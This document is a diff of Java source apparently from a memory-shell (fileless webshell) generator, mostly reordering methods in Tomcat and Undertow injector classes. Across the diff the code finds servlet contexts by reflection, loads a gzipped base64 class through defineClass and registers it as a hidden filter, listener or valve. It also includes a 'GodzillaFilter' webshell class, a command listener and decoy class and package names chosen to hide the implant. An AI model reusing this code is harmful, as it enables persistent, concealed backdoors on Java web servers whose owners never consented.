clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
@@ -17,18 +17,11 @@ import java.util.zip.GZIPInputStream;
* 测试版本:
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author pen4uin, ReaJason
*/
public class TomcatListenerInjector {
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
static {
new TomcatListenerInjector();
}
@@ -44,6 +37,116 @@ public class TomcatListenerInjector {
}
}
@SuppressWarnings("all")
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
@SuppressWarnings("all")
static Object getFV(Object obj, String fieldName) throws Exception {
try {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
return null;
}
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getF(obj, fieldName);
field.set(obj, value);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@SuppressWarnings("all")
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
@@ -123,7 +226,7 @@ public class TomcatListenerInjector {
}
} else if (getFV(context, "applicationEventListenersList") != null) {
List<Object> appListeners = (List<Object>) getFV(context, "applicationEventListenersList");
if(appListeners != null) {
if (appListeners != null) {
appListeners.add(listener);
}
}
@@ -142,106 +245,4 @@ public class TomcatListenerInjector {
}
return false;
}
@SuppressWarnings("all")
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
@SuppressWarnings("all")
static Object getFV(Object obj, String fieldName) throws Exception {
try{
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e){
return null;
}
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getF(obj, fieldName);
field.set(obj, value);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -22,14 +22,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatValveInjector {
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
static {
new TomcatValveInjector();
}
@@ -50,71 +42,6 @@ public class TomcatValveInjector {
}
}
@SuppressWarnings("all")
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
@SuppressWarnings("all")
private Object getValve(Object context) {
Object valve = null;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
valve = clazz.newInstance();
} catch (Exception e2) {
e2.printStackTrace();
}
}
return valve;
}
@SuppressWarnings("all")
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
@@ -141,37 +68,6 @@ public class TomcatValveInjector {
return out.toByteArray();
}
@SuppressWarnings("all")
public boolean isInjected(Object context, String valveClassName) throws Exception {
Object obj = invokeMethod(context, "getPipeline");
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(valveClassName)) {
return true;
}
}
return false;
}
@SuppressWarnings("all")
public void injectValve(Object context, Object valve) throws Exception {
if (isInjected(context, valve.getClass().getName())) {
System.out.println("valve already injected");
return;
}
try {
Class valveClass;
String valveClassName = "org.apache.catalina.Valve";
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
Object obj = invokeMethod(context, "getPipeline");
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
}
@SuppressWarnings("all")
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
@@ -241,6 +137,109 @@ public class TomcatValveInjector {
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@SuppressWarnings("all")
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
}
// 适配 tomcat v9
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
@SuppressWarnings("all")
private Object getValve(Object context) {
Object valve = null;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
valve = clazz.newInstance();
} catch (Exception e2) {
e2.printStackTrace();
}
}
return valve;
}
@SuppressWarnings("all")
public boolean isInjected(Object context, String valveClassName) throws Exception {
Object obj = invokeMethod(context, "getPipeline");
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(valveClassName)) {
return true;
}
}
return false;
}
@SuppressWarnings("all")
public void injectValve(Object context, Object valve) throws Exception {
if (isInjected(context, valve.getClass().getName())) {
System.out.println("valve already injected");
return;
}
try {
Class valveClass;
String valveClassName = "org.apache.catalina.Valve";
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
Object obj = invokeMethod(context, "getPipeline");
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
} catch (Exception e) {
e.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
@@ -18,6 +18,26 @@ public class CommandListener implements ServletRequestListener {
public CommandListener() {
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -55,24 +75,4 @@ public class CommandListener implements ServletRequestListener {
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
@Override
public void destroy() {
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -19,23 +19,11 @@ import java.util.zip.GZIPInputStream;
*/
public class UndertowFilterInjector {
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
static {
new UndertowFilterInjector();
}
public UndertowFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -47,79 +35,6 @@ public class UndertowFilterInjector {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (Thread thread : threads) {
try {
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) {
contexts.add(servletContext);
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable ignored) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
String filterClassName = filter.getClass().getName();
try {
if (isInjected(context, filterClassName)) {
return;
}
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
e.printStackTrace();
}
}
@SuppressWarnings("unchecked")
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
if (filters != null) {
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
if (filterClass != null) {
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
}
}
return false;
}
@SuppressWarnings("all")
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
@@ -133,7 +48,6 @@ public class UndertowFilterInjector {
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
@@ -222,4 +136,88 @@ public class UndertowFilterInjector {
}
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (Thread thread : threads) {
try {
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) {
contexts.add(servletContext);
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable ignored) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) {
String filterClassName = filter.getClass().getName();
try {
if (isInjected(context, filterClassName)) {
return;
}
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Object deploymentInfo = getFV(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
Object deploymentImpl = getFV(context, "deployment");
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
} catch (Throwable e) {
e.printStackTrace();
}
}
@SuppressWarnings("unchecked")
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
if (filters != null) {
for (Map.Entry<String, Object> filter : filters.entrySet()) {
Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
if (filterClass != null) {
if (filterClass.getName().equals(evilClassName)) {
return true;
}
}
}
}
return false;
}
}
@@ -17,14 +17,6 @@ import java.util.zip.GZIPInputStream;
public class UndertowListenerInjector {
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
static {
new UndertowListenerInjector();
}
@@ -41,76 +33,6 @@ public class UndertowListenerInjector {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (Thread thread : threads) {
try {
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) {
contexts.add(servletContext);
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
e.printStackTrace();
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
if (allListeners != null) {
for (Object allListener : allListeners) {
Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
if (listener != null) {
if (listener.getName().contains(evilClassName)) {
return true;
}
}
}
}
return false;
}
@SuppressWarnings("all")
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
@@ -124,7 +46,6 @@ public class UndertowListenerInjector {
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
@@ -213,4 +134,81 @@ public class UndertowListenerInjector {
}
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
for (Thread thread : threads) {
try {
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
if (servletContext != null) {
contexts.add(servletContext);
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
public void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
Object deploymentImpl = getFV(context, "deployment");
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
} catch (Throwable e) {
e.printStackTrace();
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
List<?> allListeners = (List<?>) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
if (allListeners != null) {
for (Object allListener : allListeners) {
Class<?> listener = (Class<?>) getFV(getFV(allListener, "listenerInfo"), "listenerClass");
if (listener != null) {
if (listener.getName().contains(evilClassName)) {
return true;
}
}
}
}
return false;
}
}
@@ -11,6 +11,20 @@ import java.util.zip.GZIPOutputStream;
*/
public class CommonUtil {
public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
private static final String[] PACKAGE_NAMES = {
"org.springframework",
"org.apache.commons",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"org.apache.http.client",
"com.google.gso",
"ch.qos.logback"
};
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
@@ -30,19 +44,6 @@ public class CommonUtil {
return sb.toString();
}
private static final String[] PACKAGE_NAMES = {
"org.springframework",
"org.apache.commons",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"org.apache.http.client",
"com.google.gso",
"ch.qos.logback"
};
private static String getRandomPackageName() {
